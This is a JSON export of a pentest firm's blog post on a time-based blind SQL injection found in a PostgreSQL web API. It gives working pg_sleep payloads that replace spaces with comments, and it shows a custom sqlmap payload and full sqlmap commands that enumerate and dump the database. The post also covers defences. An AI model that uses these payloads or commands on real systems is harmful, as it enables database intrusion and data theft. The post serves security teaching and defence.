{"id":2675,"date":"2025-01-09T09:12:44","date_gmt":"2025-01-09T09:12:44","guid":{"rendered":"https:\/\/www.hackmosphere.fr\/how-to-obtain-a-time-based-blind-sql-injection-and-automate-by-modifying-sqlmap\/"},"modified":"2025-01-09T09:13:28","modified_gmt":"2025-01-09T09:13:28","slug":"how-to-obtain-a-time-based-blind-sql-injection-and-automate-by-modifying-sqlmap","status":"publish","type":"post","link":"https:\/\/www.hackmosphere.fr\/en\/how-to-obtain-a-time-based-blind-sql-injection-and-automate-by-modifying-sqlmap\/","title":{"rendered":"How to obtain a time-based blind SQL injection and automate by modifying SQLMAP?"},"content":{"rendered":"\n<p>The cybersecurity of web applications is a crucial issue in a world where digital data has become a major asset. Among the most subtle threats, &#8220;time-based blind SQL injection&#8221; vulnerabilities stand out for their ability to exfiltrate data without triggering obvious alerts. These attacks exploit database response times to reconstruct sensitive information, a technique that requires expertise and discretion. This article explores this type of attack in detail, based on a real case observed during an intrusion test.   <\/p>\n\n<h2 class=\"wp-block-heading\">How is Time-Based Blind SQL Injection different from classic SQL injection?<\/h2>\n\n<p>A <a href=\"https:\/\/owasp.org\/www-community\/attacks\/Blind_SQL_Injection\">blind SQL injection<\/a> attack relies on the exploitation of SQL queries in vulnerable application parameters. Unlike a classic SQL injection, which directly displays results (such as errors or exfiltrated data), a &#8220;blind&#8221; attack relies on subtle cues, such as server response time. <\/p>\n\n<p>In a &#8220;time-based&#8221; variant, an attacker inserts SQL commands capable of &#8220;pausing&#8221; the database to check whether a condition is true or false. This technique makes it possible to extract data character by character by modifying response times, without any visible interaction with the user. <\/p>\n\n<h2 class=\"wp-block-heading\">Case study : A flaw in a PostgreSQL-based application<\/h2>\n\n<p>During a pentest on a web application, a vulnerability of this type was identified. Here&#8217;s how it was exploited. <\/p>\n\n<h3 class=\"wp-block-heading\">1. Vulnerability detection<\/h3>\n\n<p>A test request was sent to an application API. An HTTP 200 (OK) response indicated a successful request. However, the addition of an apostrophe (&#8216;) generated an HTTP 500 error, indicating a potential SQL injection flaw. The error disappeared when two apostrophes were added (&#8221;), confirming a possible vulnerability in user input management.   <\/p>\n\n<p><\/p>\n\n<p>Classic search query in the &#8216;text&#8217; parameter:<\/p>\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"280\" src=\"https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/image-article1-1024x280.png\" alt=\"Classic text generates HTTP code 200, as expected\" class=\"wp-image-2325\" style=\"box-shadow:var(--wp--preset--shadow--natural)\" srcset=\"https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/image-article1-980x268.png 980w, https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/image-article1-480x131.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1024px, 100vw\" \/><\/figure>\n\n<p><\/p>\n\n<p>We add an apostrophe to our text, which generates an HTTP 500 error code:<\/p>\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"279\" src=\"https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli1-1024x279.png\" alt=\"An apostrophe generates a 500 error code.\" class=\"wp-image-2330\" style=\"box-shadow:var(--wp--preset--shadow--natural)\" srcset=\"https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli1-980x267.png 980w, https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli1-480x131.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1024px, 100vw\" \/><\/figure>\n\n<p><\/p>\n\n<p>We add a second apostrophe to see if the error disappears, and this is the case with an HTTP 200 OK response code:<\/p>\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"280\" src=\"https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli2-1024x280.png\" alt=\"With two apostrophes, an HTTP 200 code is displayed again, indicating a potential SQL injection.\" class=\"wp-image-2331\" style=\"box-shadow:var(--wp--preset--shadow--natural)\" srcset=\"https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli2-980x268.png 980w, https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli2-480x131.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1024px, 100vw\" \/><\/figure>\n\n<p><\/p>\n\n<p><\/p>\n\n<h3 class=\"wp-block-heading\">2. Setting up time-based injection<\/h3>\n\n<p>To test whether a SQL command could influence response times, a query using PostgreSQL&#8217;s pg_sleep() function was sent. Result: the server took several seconds to respond, confirming the possibility of influencing response times (see bottom right of screenshot). To be able to perform a sleep, there are a number of special features to note:  <\/p>\n\n<ul class=\"wp-block-list\">\n<li>The database is PostgreSQL, so we use the &#8220;pg_sleep()&#8221; function.<\/li>\n\n\n\n<li>Spaces of any kind (&#8220;+&#8221;, &#8220;%20&#8243;&#8230;) are not accepted by the server, so we had to come up with another trick. A comment can be used instead: &#8220;\/**\/&#8221;. <\/li>\n\n\n\n<li>We used string concatenation to execute our query, via &#8220;||&#8221;.<\/li>\n<\/ul>\n\n<p><code>https:\/\/&lt;url&gt;\/api\/v1\/products?text=a'||((select\/**\/pg_sleep(10)))||'<\/code><\/p>\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"394\" src=\"https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli3-1024x394.png\" alt=\"The response time increases to 10 seconds, indicating that the request has been interpreted by the database.\" class=\"wp-image-2332\" style=\"box-shadow:var(--wp--preset--shadow--natural)\" srcset=\"https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli3-980x377.png 980w, https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli3-480x185.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1024px, 100vw\" \/><\/figure>\n\n<p><\/p>\n\n<h3 class=\"wp-block-heading\">  3. Exploitation conditionnelle <\/h3>\n\n<p>Great, we were able to put the database to sleep! The next objective was to exfiltrate data according to conditions verified within SQL queries: <\/p>\n\n<ul class=\"wp-block-list\">\n<li>If the result is &#8220;true&#8221;, then we want a response time of 3 seconds.  <br\/>Payload :<code> '||(SELECT\/**\/CASE\/**\/WHEN\/**\/(1=1)\/**\/THEN\/**\/pg_sleep(3)\/**\/END)||'<\/code><\/li>\n<\/ul>\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"437\" src=\"https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli4-1024x437.png\" alt=\"Add a condition to extract parameters one by one. With a true condition (1=1), response time is 3 seconds. \" class=\"wp-image-2333\" style=\"box-shadow:var(--wp--preset--shadow--natural)\" srcset=\"https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli4-980x418.png 980w, https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli4-480x205.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1024px, 100vw\" \/><\/figure>\n\n<p><\/p>\n\n<ul class=\"wp-block-list\">\n<li>If the result is &#8220;false&#8221;, then we want an immediate response.  <br\/>Payload :  <code>'||(SELECT\/**\/CASE\/**\/WHEN\/**\/(1=0)\/**\/THEN\/**\/pg_sleep(3)\/**\/END)||'<\/code><\/li>\n<\/ul>\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"436\" src=\"https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli5-1024x436.png\" alt=\"With a false condition (1=0), the answer is immediate.\" class=\"wp-image-2334\" style=\"box-shadow:var(--wp--preset--shadow--natural)\" srcset=\"https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli5-980x418.png 980w, https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli5-480x205.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1024px, 100vw\" \/><\/figure>\n\n<p><\/p>\n\n<p>Using this approach, characters can be extracted iteratively, checking the database elements one by one.<\/p>\n\n<h3 class=\"wp-block-heading\">4. Automation with SQLMap<\/h3>\n\n<p>The SQLMap tool did not detect this flaw automatically. A custom payload was added to the configuration file to include specific features: <\/p>\n\n<ul class=\"wp-block-list\">\n<li>No standard spaces, replaced by comments (\/**\/)<\/li>\n\n\n\n<li>String management with concatenation (||).<\/li>\n<\/ul>\n\n<p>To do this, we add it to the SQLMAP file appropriate for &#8220;blind&#8221; injections: \/usr\/share\/sqlmap\/data\/xml\/payloads\/time_blind.xml.<\/p>\n\n<p>It&#8217;s important to note that we&#8217;ve removed the &#8221; &#8216; &#8221; at the beginning and end of the payload. This is mandatory, otherwise SQLMAP will interpret them and encode all the characters in the payload, which we don&#8217;t want. Some SQLMAP-specific variables are also included, such as :  <\/p>\n\n<ul class=\"wp-block-list\">\n<li>[INFERENCE]to tell SQLMAP where to perform its advanced queries, if the payload alone is not sufficient<\/li>\n\n\n\n<li>[SLEEPTIME]using the SQLMAP default value, or specified in &#8220;&#8211;time-sec&#8221;.<\/li>\n\n\n\n<li>[RANDNUM]allowing SQLMAP to choose numerical values for its tests<\/li>\n<\/ul>\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"984\" height=\"314\" src=\"https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli6.png\" alt=\"Add the query identified in SQLMAP.\" class=\"wp-image-2335\" style=\"box-shadow:var(--wp--preset--shadow--natural)\" srcset=\"https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli6.png 984w, https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli6-980x313.png 980w, https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli6-480x153.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 984px, 100vw\" \/><\/figure>\n\n<p><\/p>\n\n<p>Once the payload has been added. SQLMAP must be launched with the necessary parameters. Here&#8217;s the command used:  <\/p>\n\n<p><code>sqlmap.py --level=5 --risk=3 -u \"https:\/\/&lt;url&gt;\/api\/v1\/products?text=asdf*\" -H \"Cookie: XSRF-TOKEN= [\u2026snip\u2026] \" -H \"Origin: <a href=\"https:\/\/dev.oenopim.fr\">https:\/\/&lt;url&gt;<\/a>\" -H \"Referer: https:\/\/ &lt;url&gt;\" --dbms=postgresql --random-agent --tamper=space2comment.py --skip-urlencode --technique=T --skip-waf --delay 0.2 --current-db --prefix=\"'\" --suffix=\"'\" --time-sec=3<\/code><\/p>\n\n<p>Explanation:<\/p>\n\n<ul class=\"wp-block-list\">\n<li>&#8220;&#8211;level=5 &#8211;risk=3&#8221;: Use the highest risk level. This isn&#8217;t a problem here, since we&#8217;re on a GET request and can&#8217;t alter the database through SQLMAP malfunctions. <\/li>\n\n\n\n<li>&#8220;-u&#8221; and &#8220;-H&#8221;: specify the URL and headers required. Use of &#8220;*&#8221; in the URL to tell SQLMAP where to inject the data. <\/li>\n\n\n\n<li>&#8220;&#8211;dbms=postgresql &#8211;random-agent&#8221;: Indicate the database used and specify the use of a random user-agent not containing the string &#8220;sqlmap&#8221;.<\/li>\n\n\n\n<li>&#8220;&#8211;tamper=space2comment.py &#8211;skip-urlencode &#8211;technique=T&#8221;: Instructs SQLMAP to replace spaces with &#8220;\/**\/&#8221;, not to encode characters and to use only its payloads from response time-based techniques.<\/li>\n\n\n\n<li>&#8220;&#8211;skip-waf &#8211;delay 0.2 &#8211;current-db &#8211;time-sec=3&#8221;: Indicate not to test if a WAF (Web Application Firewall) is in place, to send a maximum of 5 requests per second as there was a limit imposed by the server, and to attempt a 3-second sleep. Finally, if an injection is identified, try to recover the database name. <\/li>\n\n\n\n<li>&#8220;&#8211;prefix=&#8221;&#8216;&#8221; &#8211;suffix=&#8221;&#8216;&#8221; &#8220;: Adds the &#8221; &#8216; &#8221; at the beginning and end of the payload, as we were unable to add them directly in the file.<\/li>\n<\/ul>\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"572\" src=\"https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli7-1024x572.png\" alt=\"Result of SQLMAP automation.\" class=\"wp-image-2336\" style=\"box-shadow:var(--wp--preset--shadow--natural)\" srcset=\"https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli7-980x547.png 980w, https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli7-480x268.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1024px, 100vw\" \/><\/figure>\n\n<p>The image above shows that SQLMAP has detected the injection thanks to our payload (&#8220;<code> a' ||(SELECT CASE WHEN (8238=8238) THEN PG_SLEEP(3) END)||' <\/code>&#8220;). The database name retrieved is &#8220;public&#8221;. Next, we retrieve the table names by adding the &#8220;&#8211;tables&#8221; parameter instead of &#8220;&#8211;current-db&#8221;:  <\/p>\n\n<p><code>sqlmap.py --level=5 --risk=3 -u \"https:\/\/&lt;url&gt;\/api\/v1\/products?text=asdf*\" -H \"Cookie: XSRF-TOKEN= [\u2026snip\u2026] \" -H \"Origin: <a href=\"https:\/\/dev.oenopim.fr\">https:\/\/&lt;url&gt;<\/a>\" -H \"Referer: <a href=\"https:\/\/dev.oenopim.fr\">https:\/\/&lt;url&gt;<\/a>\" --dbms=postgresql --random-agent --tamper=space2comment.py --skip-urlencode --technique=T --skip-waf --delay 0.2 --current-db --prefix=\"'\" --suffix=\"'\" --time-sec=3 <strong>--tables<\/strong><\/code><\/p>\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"419\" src=\"https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli8-1024x419.png\" alt=\"Data recovery from the database.\" class=\"wp-image-2337\" style=\"box-shadow:var(--wp--preset--shadow--natural)\" srcset=\"https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli8-980x401.png 980w, https:\/\/www.hackmosphere.fr\/wp-content\/uploads\/2024\/12\/sqli8-480x196.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1024px, 100vw\" \/><\/figure>\n\n<p>We can therefore retrieve the entire database, and for obvious reasons of confidentiality, we don&#8217;t share its contents. Here are the next logical steps: <\/p>\n\n<ul class=\"wp-block-list\">\n<li>Retrieve column names with : &#8220;-T [NomTable] &#8211;columns<\/li>\n\n\n\n<li>Retrieve data from the desired column: &#8220;-T [NomTable] -C [NomColonne] &#8211;dump&#8221;.<br\/><\/li>\n<\/ul>\n\n<h2 class=\"wp-block-heading\">How can you protect yourself against this type of attack?<\/h2>\n\n<p>Blind SQL injection vulnerabilities can be avoided through a combination of good development practices and secure configurations.<\/p>\n\n<p>1. Secure SQL query setup<\/p>\n\n<ul class=\"wp-block-list\">\n<li>Use prepared queries: Prevent user input from being interpreted as SQL commands.<\/li>\n\n\n\n<li>Strict data validation: Limit accepted characters and input types.<\/li>\n<\/ul>\n\n<p>2. Application-level protection<\/p>\n\n<ul class=\"wp-block-list\">\n<li>Web Application Firewall (WAF): Block common attack patterns such as pg_sleep() or CASE.<\/li>\n\n\n\n<li>Input encoding: Convert special characters so that they are treated as raw data.<\/li>\n<\/ul>\n\n<p>3. Regular safety tests<\/p>\n\n<ul class=\"wp-block-list\">\n<li>Periodic Pentests: Identify vulnerabilities in user settings.<\/li>\n<\/ul>\n\n<p>In conclusion, the &#8220;time-based blind SQL injection&#8221; vulnerability illustrates the extent to which a poorly secured application can become an entry point for determined attackers. This type of vulnerability, although discreet, can lead to major data loss. By applying good development practices, using advanced detection tools and raising team awareness, it is possible to considerably reduce these risks.  <\/p>\n\n<p>To go one step further, make sure your applications are regularly audited and tested against the latest threats: If you would like an in-depth analysis of your systems, please <a href=\"https:\/\/www.hackmosphere.fr\/contact\/?lang=en\">contact us<\/a>!<\/p>\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The cybersecurity of web applications is a crucial issue in a world where digital data has become a major asset. Among the most subtle threats, &#8220;time-based blind SQL injection&#8221; vulnerabilities stand out for their ability to exfiltrate data without triggering obvious alerts. These attacks exploit database response times to reconstruct sensitive information, a technique that [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":2576,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"0","_seopress_titles_title":"Time-based Blind SQL SQLMAP injection and modification","_seopress_titles_desc":"Time-based blind SQL injection: Discover how this vulnerability is distinguished by its ability to exfiltrate data without activating an alert.","_seopress_robots_index":"","_et_pb_use_builder":"off","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[41],"tags":[],"class_list":{"0":"post-2675","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-cyber-services"},"_links":{"self":[{"href":"https:\/\/www.hackmosphere.fr\/en\/wp-json\/wp\/v2\/posts\/2675","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.hackmosphere.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.hackmosphere.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.hackmosphere.fr\/en\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.hackmosphere.fr\/en\/wp-json\/wp\/v2\/comments?post=2675"}],"version-history":[{"count":2,"href":"https:\/\/www.hackmosphere.fr\/en\/wp-json\/wp\/v2\/posts\/2675\/revisions"}],"predecessor-version":[{"id":2677,"href":"https:\/\/www.hackmosphere.fr\/en\/wp-json\/wp\/v2\/posts\/2675\/revisions\/2677"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.hackmosphere.fr\/en\/wp-json\/wp\/v2\/media\/2576"}],"wp:attachment":[{"href":"https:\/\/www.hackmosphere.fr\/en\/wp-json\/wp\/v2\/media?parent=2675"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.hackmosphere.fr\/en\/wp-json\/wp\/v2\/categories?post=2675"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.hackmosphere.fr\/en\/wp-json\/wp\/v2\/tags?post=2675"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}